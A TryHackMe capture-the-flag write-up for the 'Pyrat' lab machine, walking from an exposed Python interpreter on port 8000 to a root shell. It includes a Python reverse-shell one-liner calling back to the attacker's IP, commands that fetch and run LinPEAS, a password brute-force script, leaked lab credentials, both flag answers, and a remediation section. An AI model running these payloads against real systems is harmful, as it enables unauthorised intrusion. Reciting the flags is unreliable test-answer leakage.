TryHackMe CTF

Pyrat v1.1 — Walkthrough Report

Tamilarasu M | Boot-to-Root | Target: 10.49.160.0

Field	Value
Room	Pyrat v1.1-badr
Difficulty	Easy
Target IP	10.49.160.0
Open Ports	22 (SSH), 8000 (Python TCP)
Skills	RCE, Git Analysis, Password Fuzzing
Date	10/03/2026

CAPTURED FLAGS

FLAG: User Flag
996dbb1f619a68361417cabca5454705

FLAG: Root Flag
ba5ed03e9e74bb98054438480165e221

1. Challenge Overview

Pyrat is an easy-rated boot-to-root machine. A Python TCP service on port 8000 evaluates raw input as Python code, allowing unauthenticated Remote Code Execution (RCE). The full attack chain is:

- Nmap scan reveals ports 22 (SSH) and 8000 (Python HTTP service)
- netcat to port 8000 — server responds to Python print() confirming RCE
- Python reverse shell payload sent → shell as www-data
- LinPEAS finds /opt/dev/.git — git config contains think user credentials
- SSH as think → read user.txt
- git show on old commit reveals "shell" and "admin" TCP endpoints
- Custom fuzzing script confirms "admin" requires a password
- Password brute-force with rockyou.txt finds abc123 → root shell → root.txt

2. Reconnaissance

2.1 /etc/hosts Setup

Map the target IP to a hostname for convenience:

```
sudo nano /etc/hosts

# Add this line:
10.49.160.0    pyrat.thm

ping pyrat.thm   # verify
```

2.2 Nmap Scan

```
nmap -sC -sV -oN nmap_initial.txt 10.49.160.0
```

Nmap Results

Port 22 (SSH): OpenSSH 8.2p1 Ubuntu — standard SSH, no immediate vuln.

Port 8000 (HTTP): SimpleHTTP/0.6 Python 3.11.2. Error messages like `name 'GET' is not defined` — server is treating raw HTTP as Python code!

2.3 Alternative: RustScan

```
rustscan --ulimit 5000 -a pyrat.thm -b 1000 -- -A
# Confirms same ports: 22 and 8000
```

3. Initial Foothold — Python RCE

3.1 Testing Port 8000

```
curl http://pyrat.thm:8000
# Response: "Try a more basic connection"

# Switch to raw TCP:
nc pyrat.thm 8000
Hello
# Response: name 'Hello' is not defined

print("Hello")
# Response: Hello   <-- Python code executes!
```

Key Finding — Python REPL Exposed

The service is a raw Python interpreter over TCP. Any input is eval'd as Python code. This is an unauthenticated Remote Code Execution (RCE) vulnerability.

3.2 Reverse Shell

On your attack machine, start a listener first:

```
nc -lvnp 4444
```

Find your VPN IP with: ip a show tun0

Then send the reverse shell via netcat to port 8000:

```
nc pyrat.thm 8000
import
socket,os,pty;s=socket.socket();s.connect(("YOUR_VPN_IP",4444));os.dup2(s.fileno(
),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
```

3.3 Upgrading the Shell

```
# Spawn a proper PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background it, fix terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

whoami   # www-data
```

Note: Sending "shell" directly to port 8000 also works as a shortcut (discovered later from git history).

4. Privilege Escalation — User Flag

4.1 System Enumeration

```
ls -la /home
# /home/think  drwxr-x---  (no access as www-data)

ls -la /opt
```

4.2 LinPEAS

Serve linpeas.sh from your attack machine and download it on the target:

```
# ATTACK machine:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000

# TARGET machine (reverse shell):
cd /tmp
wget http://YOUR_VPN_IP:8000/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
```

LinPEAS Finding

Highlights unusual Git repository at: `/opt/dev/.git`

Git repos in /opt are non-standard. The commit history and config may contain credentials.

4.3 Git Repository Analysis

```
cd /opt/dev/.git
ls -la

cat COMMIT_EDITMSG
# Output: Added shell endpoint

cat config
# Reveals credentials!
```

Credentials Found in git config

Username: `think`

Password: `_TH1NKINGPirate$_`

Author: Jose Mario <josemlwdf@github.com>

4.4 SSH Login as think

```
ssh think@10.49.160.0
# Password: _TH1NKINGPirate$_

cat /home/think/user.txt
```

FLAG: User Flag — Answer 1

`996dbb1f619a68361417cabca5454705`

5. Root Flag — Admin Endpoint

5.1 Git Commit History

From the think SSH session, inspect the old source code:

```
cd /opt/dev
git log
# commit 0a3c36d  "Added shell endpoint"

git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
```

Old Source Code — pyrat.py.old (from git diff)

```
def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_endpoint(client_socket)
    else:
        uid = os.getuid()
        if (uid == 0): change_uid()  # drops root if not approved
        if data == 'shell':
            shell(client_socket)      # opens /bin/sh
        else:
            exec_python(client_socket, data)  # runs Python
```

Key takeaway: the service has named endpoints — "shell", "admin", "some_endpoint". Admin likely requires a password.

5.2 Shell Endpoint Confirmation

```
nc pyrat.thm 8000
shell
$ whoami
# www-data
```

5.3 Endpoint Fuzzing Script

Write fuzzing.py to discover which endpoint names the server recognises:

```
# fuzzing.py
import socket

def fuzz(ip, port, endpoints):
    for ep in endpoints:
        s = socket.socket()
        s.connect((ip, port))
        s.sendall(ep.encode() + b"\n")
        resp = s.recv(1024)
        print(f"  {ep}: {resp.decode().strip()}")
        s.close()

endpoints = ["some_endpoint","shell","admin","backup",
             "reset","login","help","root","register","old"]
fuzz("10.49.160.0", 8000, endpoints)
python3 fuzzing.py
```

Endpoint	Response

some_endpoint	`name 'some_endpoint' is not defined`
shell	`$ (shell prompt — works!)`
admin	`Password:  <-- requires auth!`
backup / reset / login	`name 'X' is not defined`
help	`(empty)`
root / register / old	`name 'X' is not defined`

Target found: "admin" endpoint prompts for a password. Proceed to brute-force.

5.4 Password Fuzzing Script

```
# fuzzing_passwords.py
import socket

TARGET_IP   = "10.49.160.0"
TARGET_PORT = 8000
WORDLIST    = "/usr/share/wordlists/rockyou.txt"

def try_pwd(pwd):
    s = socket.socket()
    s.connect((TARGET_IP, TARGET_PORT))
    s.sendall(b"admin\n")
    s.recv(1024)  # "Password:"
    s.sendall(pwd.encode() + b"\n")
    resp = s.recv(1024).decode()
    s.close()
    return "Welcome" in resp or "success" in resp.lower(), resp

with open(WORDLIST, "r", encoding="latin-1") as f:
    for line in f:
        pwd = line.strip()
        found, resp = try_pwd(pwd)
        if found:
            print(f"[+] PASSWORD: {pwd}")
            print(f"[+] Response: {resp}")
            break
        print(f"[-] {pwd}")
python3 fuzzing_passwords.py
```

Password Found!

Password: `abc123`

Server response: "Welcome Admin!!! Type "shell" to begin"

5.5 Root Shell

```
nc pyrat.thm 8000
admin
# Password:
abc123
# Welcome Admin!!! Type "shell" to begin
shell
```

```
# #  (root shell!)

ls
# pyrat.py  root.txt  snap

cat root.txt
# ba5ed03e9e74bb98054438480165e221
```

FLAG: Root Flag — Answer 2

ba5ed03e9e74bb98054438480165e221

6. Attack Chain Summary

Step / Action	Result
1. Nmap scan	`Port 22 (SSH) + Port 8000 (Python TCP) found`
2. curl / nc to port 8000	`"Try a more basic connection" → raw TCP hint`
3. nc + print("Hello")	`Python REPL confirmed — RCE vulnerability`
4. Python reverse shell	`Shell as www-data on attacker port 4444`
5. Shell upgrade (pty)	`Interactive bash session`
6. LinPEAS	`Found /opt/dev/.git — unusual git repo`
7. cat .git/config	`Credentials: think / _TH1NKINGPirate$_`
8. ssh think@target	`User login successful`
9. cat user.txt	`FLAG: 996dbb1f619a68361417cabca5454705`
10. git log + git show	`Old source reveals shell/admin endpoints`
11. fuzzing.py	`"admin" endpoint prompts for password`
12. fuzzing_passwords.py	`Password found: abc123`
13. nc → admin → abc123 → shell	`Root shell obtained`
14. cat root.txt	`FLAG: ba5ed03e9e74bb98054438480165e221`

7. Findings & Recommendations

CRITICAL — Python REPL Exposed on TCP Port 8000

Risk: Any unauthenticated user can execute arbitrary Python code remotely.

Fix: Remove the raw interpreter. Implement strict input validation and authentication before processing any TCP input.

HIGH — Credentials Stored in Git Repository

Risk: git config contained plaintext SSH credentials for the think user.

Fix: Never commit credentials to version control. Use environment variables or a secrets manager. Rotate all exposed credentials immediately.

HIGH — Weak Admin Password (abc123)

Risk: Password cracked instantly using rockyou.txt wordlist.

Fix: Enforce 12+ character passwords with mixed case, numbers, and symbols. Add login rate limiting and account lockout.

MEDIUM — Unauthenticated Shell Endpoint

Risk: "shell" endpoint grants www-data shell with no authentication required.

Fix: All sensitive endpoints must require authentication. Enforce least privilege — the service should never run as root.

8. Conclusion

Pyrat demonstrates how a single misconfigured service can lead to full system compromise. The key lessons are:

- Never expose raw interpreters (Python, Bash, etc.) over the network without sandboxing and strong authentication.
- Git repositories — even in /opt — can contain sensitive commit history. Always audit git history before deploying.
- Weak passwords remain one of the most exploited vectors in both CTFs and real engagements.
- Always apply the principle of least privilege — the admin endpoint should never have granted root access.

Report produced for educational purposes only. All testing was performed on TryHackMe infrastructure with explicit authorisation.